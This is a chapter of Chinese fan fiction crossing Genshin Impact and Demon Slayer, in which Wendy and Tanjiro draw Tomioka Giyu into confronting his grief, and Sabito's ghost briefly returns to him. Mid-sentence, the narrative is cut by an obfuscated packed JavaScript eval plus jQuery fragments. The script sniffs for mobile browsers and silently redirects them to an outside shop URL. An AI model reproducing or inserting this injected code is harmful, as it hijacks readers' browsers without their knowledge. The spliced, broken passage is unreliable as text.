38.独发
作品:《[原神]吟游诗人的异世之旅》 风打着卷,吹得树叶沙沙作响,影子也一晃一晃。
富冈义勇坐在缘侧,他在发呆,面色沉郁。即便满院子的阳光都在欢乐地跃动,也没有一缕光能够让他的双眼亮起来。
直到敲门声响起,他才回过神来,穿过满园的季夏去开门。
门外是两个少年。一个一身碧绿,比雨后的池塘还要清新;一个深红的色调,像冬日里温暖的炭火。
“有什么事?”他问。
炭治郎刚想开口,温迪就拉住了他,止住他的话头然后说道:“不如我们进去说怎么样?”
抵在门口的义勇沉默一瞬,侧身让开,让他们进去。
内室。
炭治郎提起了柱合训练的事情。
“富冈先生,您为什么不参与柱训练?”
富冈:……
“请回吧。”
怎么回事,是我哪里说的不对吗?炭治郎心一沉。富冈先生看起来……看不出来是什么表情啊!味道闻起来,很低落。
虽然说富冈先生下了逐客令,但是并没有直接请他们出去,还有转机。
于是炭治郎接着开口:“为什么,富冈先生?您不是柱吗?”
难道富冈先生被排挤了吗?可是大家都是很好的人,其中到底有什么隐情呢?
温迪:“的确呢,富冈先生也是鬼杀队的柱级成员,是大家认可的水柱啊。不参与训练的话,是有什么原因呢?”
炭治郎,是祢豆子的哥哥,祢豆子又是他现在的师妹,也是将来要接任水柱之位的人。温迪,是主公大人请任的客卿。富冈头脑风暴了一会,给出了他的理由。
“我和他们不一样。”
他们是柱,但是他不是水柱,他没有资格任水柱一职。富冈想,只是因为水柱如今空缺,所以我才会暂代水柱一职。平日的柱合会议也就算了,如今明明是柱的训练,他不应该以水柱的名义参与。
炭治郎觑着他的脸色,虽然完全看不出什么波动,但是好在他的鼻子比眼睛更加会察言观色。
“什么意思?富冈先生,哪里不一样?”
遇到难回答的问题,义勇又不说话了。他无法将内心的伤痛诉诸于口,也难以面对那个懦弱无能的自己。
就在这寂静中,他出乎炭治郎和温迪的意料,站了起来。
然后……
然后他左一个右一个,把炭治郎和温迪夹在胳膊下,送出了门。
门被关上,炭治郎这才反应过来,他们这是被扫地出门了?
两人对视一眼,默契地翻墙进去。
本以为那两个比阳光还要活泼的两个人,会直接离开,没想到,自己竟然会被缠上了。
富冈正在吃饭,没有鲑鱼萝卜。
左一个右一个,都眼巴巴地看着他。在这样的攻势下,富冈完全不为所动。
因为无论把这两个人送出去几次,他们都会再一次翻墙溜进来。他又不能把他们打一顿,就只好放任了。
反正,只要时间久了,他们就会知难而退了。
但是富冈完全想不到,“知难而退”的会先是他。
无论是吃饭、练刀,还是睡觉,洗澡的时候,两个毛茸茸的脑袋都会冒出来。两双圆溜溜的眼睛就那样看着他,嘴上还要喋喋不休的问他为什么不参与柱训练,他们真的很想和他一起训练,这是水柱的职责,是有什么无法参加的理由呢……
没错,说的就是你,炭治郎。富冈默默瞥了一眼旁边深红色的脑袋,窗台上还坐着一位弹琴的吟游诗人。
富冈躺在床榻里,盯着天花板良久,终于还是将往事一一讲述。
义勇和鬼杀队里许许多多的队员一样,加入鬼杀队,就是因为鬼杀害了他们都至亲。
他的姐姐,在将要成婚的前夕,为了保护他,被鬼杀害了。后来他来到鬼杀队,拜鳞泷为师,学习水之呼吸。
他认识了锖兔,他的师兄,还有其他的同门。
为什么富冈义勇不配水柱之名?因为他只是一个胆小懦弱的无能之人。
在藤袭山,鬼杀队的选拔试炼,他未能杀死任何一只鬼。
“鬼是锖兔杀的。”为了保护其他人,包括他,锖兔死了。可是他却没能救下锖兔,一如他没能救下姐姐。
“我没有通过试炼。”所以,他怎么能够成为柱呢?
青年的声线和往日一样,没什么波动,只是音色喑哑。死寂的双眸跌入更深的渊色,没有一颗星星。
“如果锖兔能够活下来,他一定会成为比我强大得多的剑士。”
可是他却为了救他死去了。姐姐也是,明明她很快就要迎来幸福了。
如果当初死掉的是我就好了。
他说完之后,就自顾自地合上眼睛,仿佛陷入睡眠。
炭治郎感到难过,他没有流泪,心脏却一直泡在酸苦的水中,口里因也尽是涩味。
他为富冈先生感到悲伤,看着亲友死在眼前却无能为力。正如他目睹家人的死亡,无可挽回救。
因为一直在自责,一直在质问自己,为什么没能救下他们,为什么自己强大一点呢?
“富冈先生。”炭治郎侧目看着闭目假寐的青年,轻声说:“您的姐姐,还有锖兔先生,一定不会想看到你现在这样的。”
“我以前,也想过,如果当初死的是我就好了。”
义勇眼睫轻颤,被眼泪糊住了的炭治郎却没看到。
他有些哽咽:“但是,温迪先生和我说……”
“活着的人,承载着死去的人的愿景。如果我们停滞不前的话,那他们的意志又该由谁来延续呢?”
“富冈先生,难道不想要延续您的姐姐和锖兔先生的意志吗?”
义勇猛然睁开眼睛,直愣愣地看着屋顶的房梁。
他好像看到锖兔了,脸颊也火辣辣地疼。被打了一巴掌……
义勇有些茫然无措又带着一点点不可置信和委屈。
“抱歉,下手重了。”肉粉色头发的少年拥住捂着脸的青年。
“因为我感到很生气。”
他被困在狭雾山上面,见不到鳞泷师父,也找不到义勇。
无尽的风席卷,他就突破了桎梏,出现在了这里,然后就猛然看到了他的师弟义勇。
他,和那个深红发发色的少年的话,被他完完整整听了个遍。义勇这个样子,实在令他生气。他曾经担忧的事情还是发生了。
“我说过,你要是再说这种‘要是死掉的是我就好了’这种话,我就会再打你一掌。”
锖兔拿开义勇的手,细细看了一眼,然后将自己的手覆在红印上。鬼魂的手冰冰凉凉,义勇只觉得火辣辣的右脸颊没那么痛了。
义勇:“我没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102723|192563||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说。”
他没有再说过这句话。
锖兔捏捏他左脸颊,有点被气笑了。这种时候,到时知道要和他辩解了?
“你心里是这么想的。”
义勇哑口无言,毕竟他的确就是这么认为的。
“还记得我曾经说过的吗?”
“记得。”
义勇将头埋在矮他一截的人的肩头,声音闷闷的。
锖兔也难以再苛责他,他心也揪紧,细细密密地绵痛。
他任由义勇搂着他,无声地宣泄累年积存的情绪。
……
炭治郎震惊地看着这个突然出现的少年,他看向温迪,不用多,这一定和他有关。
“让他们好好叙一下吧。”有什么纠结和想不开的,当面说清楚就好了呀。魂还在,他还能让他们再见一次。
炭治郎扒开草丛,就着月光看里面相拥的两人,或许只有一个是人。毕竟那个肉粉色的少年怎么看,都像是富冈先生所说的锖兔先生啊!
可是,锖兔已经死了。
“所以,那是锖兔先生的灵魂吗?”
炭治郎看向温迪,眼中带着他自己都未能察觉的希冀。
“嘘。”温迪将食指抵在唇前。
炭治郎嘴唇动了一下,没再开口。从温迪温柔的神色中,他隐约明白,不是所有的人都能够再见到已逝之人。
他的家人,只是恰好在那无法与他相见的部分里。
他们离开小院子,蹲到了远一点的大树上。
“温迪先生。”炭治郎犹豫了一会,还是问了,“在思念谁吗?”
温迪摸了摸炭治郎的头,还真是敏锐啊,和旅行者一样。
“唔,我给你说一个很久很久以前的故事吧。”
他拨动起琴弦,在入水的月色下,讲述了一个少年,微风与抗争的故事。
“最后的最后,小风精灵就带着友人的美好愿景,飞到高天之上了。”
即便他遍寻不见友人的灵魂,但是他也一直践行着与少年的约定,飞到高天之上,拥抱自由的风。
温迪回头看去,炭治郎的眼泪又哗地一下飙出来。
“哎呀,怎么又哭啦?”
温迪为他拭泪,今天的炭治郎都要变成哭包子了。
“好啦好啦,再不睡就不用睡了,快去休息一下吧。”
锖兔和义勇絮絮叨叨地说了很多很多话,就像是要在今晚将错失彼此的数年都弥补回来。
“锖兔,我会带着你的意志一直一直走下去的。”
“我知道。”
两人对视着,义勇眼睛一瞬也不敢错开,像是要将他的模样记得更深,印刻在心底里。
他突然道:“梦要醒了。”
你也要走了。
锖兔噗嗤地笑出声来,感情义勇完全把这些都当做是一场梦啊。
他开怀地将头上的狐狸面具取下来,戴到义勇头上。
“想我们的时候,就回狭雾山看看吧。”
现在他们不再被禁锢在那一块小地方里了,之后会一直待在鳞泷师父身边守着。
想他们的话,就回狭雾山吧,那里的风会替我们欢迎你回家。
如同来的时候一样,少年的离开同样无声且梦幻。
天亮了。
义勇怔然地看着枕边的狐狸面具。

